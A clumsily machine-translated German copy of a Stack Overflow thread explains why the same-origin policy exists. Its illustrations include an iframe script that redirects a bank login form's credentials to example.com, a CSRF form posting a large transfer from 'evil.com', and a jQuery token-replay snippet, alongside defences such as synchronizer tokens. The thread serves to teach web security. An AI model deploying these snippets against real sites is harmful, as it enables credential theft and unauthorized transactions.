Einfaches Beispiel dafür, warum die same-Origin-Richtlinie erforderlich ist

Hab ich überlesen Same Origin Policy, aber für ein besseres Verständnis von der Sache: könnte jemand bitte schreiben Sie einen einfachen code (in irgendeiner Sprache), die demonstrieren wird, ein Angriff, der SOP hält?

Wie war es möglich, jemanden angreifen, bevor SOP zustande kam?

InformationsquelleAutor Yotam | 2013-02-02

31
```
<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>
```
Den Javascript-code änderungen der action-Eigenschaft (Ziel, in einer Angelegenheit zu sprechen), so dass, wenn Sie das Formular abschicken, senden Sie Ihre Anmeldeinformationen für mich, nicht Ihrer bank.

Wenn ich ein PHP-Skript auf meinem server, der leitet Sie zu Ihrer bank, die Sie nicht einmal bemerken.

Mit same-Origin-Policy, ist dieser Angriff nicht möglich. Eine Seite auf meiner domain nicht Lesen oder ändern des Inhalts der website der bank.
- Also die same-origin-policy vorhanden ist, um Unannehmlichkeiten die pfishers? Nun, um zu stehlen Ihr Passwort haben Sie zum kopieren der Fassade der real-Website auf Ihrem bösartigen Website, lieber host in einem iframe. Funktioniert das wirklich, hinzufügen, Sicherheit?
- Das ist nur ein Beispiel. Ohne die SOP, konnte man nicht sicher load beliebiger website in einem iframe. Da cookies aktivieren Sie automatische logins auf vielen websites, bösartige website, die Sie besuchen, könnten Einkäufe über eBay, senden gefälschte E-Mails an Ihre Freunde oder schließen Sie Ihr Facebook-Konto. Alles was es braucht ist eine (versteckte) iframe und Sie unter Verwendung der eingeloggt bleiben - option auf eine dieser Seiten.
- Wenn ich das richtig verstehe, die Art der Angriffe, die Sie sprechen über die Arbeit, indem Sie zuerst lockt die Benutzer auf die falsche Seite. Statt https://yourbank.com der Angreifer irgendwie bekommt der Benutzer zu besuchen http://mysite.co, die der Angreifer kontrolliert. Der Angreifer hat die Wahl seiner tricks zu überzeugen, die Benutzer, die nicht bemerken, die URL seiner Website legitim ist. Keine Notwendigkeit, ein iframe: einfach kopieren und fügen Sie den code aus der echten Seite. Das heißt, viele Banken hinzufügen von Benutzer-bestimmten Bild oder Wort vor Fragen nach dem Passwort, in dem Fall einschränken, iframes Mehrwert.
- Das gilt zum Beispiel in der Antwort, aber nicht auf den Kommentar. Über einen versteckten iframe und nutzen session-cookies, Sie können einbetten eines iframe in jedem blog, forum oder was auch immer und heimlich führen Sie Aktionen, die mit der attackee Konto ohne sein eingreifen.
- Cookies haben eine Eigenschaft "Domäne" und sind nur auf der Seite, wo Sie geladen wurden, soweit ich das verstanden habe. Also konnten Sie nicht stehlen, die Cookies eines iFramed Seite, was bin ich?
- Wenn Sie aktuell angemeldet sind, in eine Webseite laden, die Webseite in einem versteckten iframe bedeutet, dass Sie angemeldet sind, auch dort. Ohne die SOP, brauchen Sie nicht zu stehlen und den cookie an diesem Punkt; Sie können nur unter Verwendung von JavaScript ausführen was auch immer Aktion, die Sie wollen auf dieser website.
InformationsquelleAutor Dennis
10

Angriff Beispiel 1: Cross-Site Request Forgery (CSRF) mit einem HTML-Formular

Seite an evil.com den Angreifer gestellt hat:
```
<form method="post" action="http://bank.com/trasfer">
    <input type="hidden" name="to" value="ciro">
    <input type="hidden" name="ammount" value="100000000">
    <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>
```
Ohne weitere Sicherheitsmaßnahmen würde, wäre dieser:
- die Anfrage nicht gesendet werden. Die SOP nicht verbieten diese Anfrage gesendet werden.
- es umfasst Authentifizierungs-cookies von bank.com welches Protokoll Sie in
Es ist der synchronizer token pattern, allein, sogar ohne die SOP verhindert, dass diese von der Arbeit.

Synchronizer token pattern

Für jedes Formular auf bank.com die Entwickler erzeugen eine einmalige zufällige Folge als hidden-parameter, und nehmen nur die Anfrage, wenn der server ruft den parameter.

E. g., Rails-HTML-Helfer automatisch hinzufügen eines authenticity_token - parameter auf der HTML, so dass der legitime form Aussehen würde:
```
<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token"
            value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to"      value="ciro"></p>
  <p><input type="hidden" name="ammount" value="100000000"></p>
  <p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>
```
erwähnt: Das Verständnis der Schienen Authenticity Token

Also, wenn evil.com einen Beitrag einzelne Anfrage, er würde nie erraten, dass der token und der server würde ablehnen der Transaktion!!!

Siehe auch: synchronizer token pattern auf OWASP.

Angriff 2. Beispiel: Cross-Site Request Forgery (CSRF) mit JavaScript AJAX

Aber dann, was verhindert, dass die evil.com von 2 requests mit JavaScript, genauso wie eine legitime browser tun würde:
1. XHR GET für das token
2. XHR-POST mit dem gute-token
so evil.com versuchen würde, so etwas (jQuery, weil faul):
```
$.get('http://bank.com/transfer')
//Parse HTML reply and extract token.
$.post('http://bank.com/transfer', {
  to: 'ciro',
  ammount: '100000000',
  authenticity_token: extracted_token
})
```
Diese ist, wo die SOP ins Spiel kommt. Obwohl die $.get und $.post tatsächlich senden Sie die authentifizierte Anfrage genau wie das HTML-Formular, die Absender-browser verhindert, dass der JavaScript-code beim Lesen der HTML-Antwort zurück, weil die Anfrage gesendet wurde auf eine separate domain!

Der Chromium-Entwickler-Konsole zeigt einen Fehler an, für den es der Typ:

Zugang zu XMLHttpRequest an 'http://bank.com' origin 'http://evil.com' wurde blockiert von CORS-Politik: Keine "Access-Control-Allow-Origin' - header vorhanden ist, auf die angeforderte Ressource.

wurde gefragt: Warum funktioniert mein JavaScript-code wird ein "Nein" Access-Control-Allow-Origin' - header vorhanden ist, auf die angeforderte Ressource" Fehler beim Briefträger nicht?

Warum nicht, nur nicht senden cross request-cookies statt?

Frage ich mich: was aber, wenn Implementierungen hatte eine Regel wie: "Erlaube jedem request, sondern senden nur cookies der aktuellen domain XHR"?

Aber das würde immer noch erlauben, für eine andere Art des Angriffs: wenn die Authentifizierung basiert nicht auf cookies, sondern auf die Quelle (IP) der Anfrage.

Beispielsweise, Sie sind in das intranet Ihres Unternehmens und von dort aus können Sie Zugriff auf einen internen server, der nicht von außen sichtbar und dient geheime Daten.

Sind alle cross-origin-requests verboten?

Sogar vergessen, CORS, keine, das tun wir jeden Tag!

Vom MDN:
- Cross-origin schreibt, sind in der Regel zulässig: links, Weiterleitungen und form-Beiträge.
- Cross-origin-Einbettung ist in der Regel zulässig: Bilder, externe CSS und Javascript, iframes.
- Cross-origin liest sind in der Regel nicht erlaubt: XHR (Beispiel oben) iframe Lesen.
  
  Jedoch lese-Zugriff ist oft undicht durch einbetten. Zum Beispiel können Sie die Breite und Höhe eines Bildes, die Aktionen von ein eingebettetes Skript oder die Verfügbarkeit eingebettete Ressource (und damit möglicherweise, wenn der Benutzer angemeldet ist oder nicht auf eine bestimmte Domäne)
Anderen Präventions-Ansätze
- prüfen, ob bestimmte Header vorhanden ist, z.B. X-Requested-With:
- überprüfen Sie den Wert des Origin header: https://security.stackexchange.com/questions/91165/why-is-the-synchronizer-token-pattern-preferred-over-the-origin-header-check-to
- re-Authentifizierung: Benutzer Fragen, für Passwort erneut ein. Dies sollte getan werden für jeden wichtigen Vorgang (bank login und transfers, Passwort-änderungen in den meisten websites), im Fall, dass Ihre Website bekommt XSSed. Der Nachteil ist, dass Benutzer sein Passwort mehrfach.
Siehe auch:
- https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
- Warum same-origin-policy bei XMLHttpRequest
- Warum XHR GET kann das token erhalten, ohne SOP?
- warum nicht? XHR (aus evil.com) sendet eine GET-Anfrage (an bank.com) und ruft die Daten ab (der HTML-Code der web-Seite mit dem token) genau wie ein browser. Die einzige Sache, die verhindern, dass es ist SOP. Lassen Sie mich wissen, wenn nicht klar.
- Es bekam. Ich danke Ihnen sehr!
- Also mit SOP die bank weiß, dass die GET-Anforderung kommt evil.com statt der eigenen website und blockiert die Anfrage?
- die SOP allein macht nicht tun,. Zum Beispiel, wenn Sie auf einen link klicken, um die meisten websites, die Sie tun, eine authentifizierte BEKOMMEN, und gehen Sie direkt eingeloggt auf der Website. Die SOP + token (das funktioniert nur, weil der SOP), hat dieser Effekt allerdings, da nur ein Benutzer, der bereits in der bank-Seite kann das token erhalten.
- Bitte Geduld mit mir, wie ich bin nicht sehr kenntnisreich über diese. Sie erwähnen "Die SOP verhindert, dass Sie aus der Lektüre cross request-Daten zurück in JavaScript", also wer implementiert SOP (d.h. Stellen Sie sicher, dass die SOP-code ausgeführt wird)? Die browser? Wenn es der browser, der hacker kann nur einen browser verwenden, der nicht implementiert SOP und Sie können das token von der bank?
- genau, es ist der browser, die SOP. Wenn der Benutzer mit einem verwundbaren browser das nicht umsetzen, SOP, wird der Benutzer gehackt große Zeit von Hacker, wenn er mal zu einer nicht vertrauenswürdigen website. Die Banken jedoch auch die Verwendung re-Authentifizierung (Passwort Fragen, bevor kritische Operationen). Alle gängigen Browser implementieren SOP standardmäßig natürlich.
- Ah ich hab es jetzt. Vielen Dank für die Erklärung im detail. 谢谢！
InformationsquelleAutor Ciro Santilli 新疆改造中心法轮功六四事件

Schreibe einen Kommentar

Du musst angemeldet sein, um einen Kommentar abzugeben.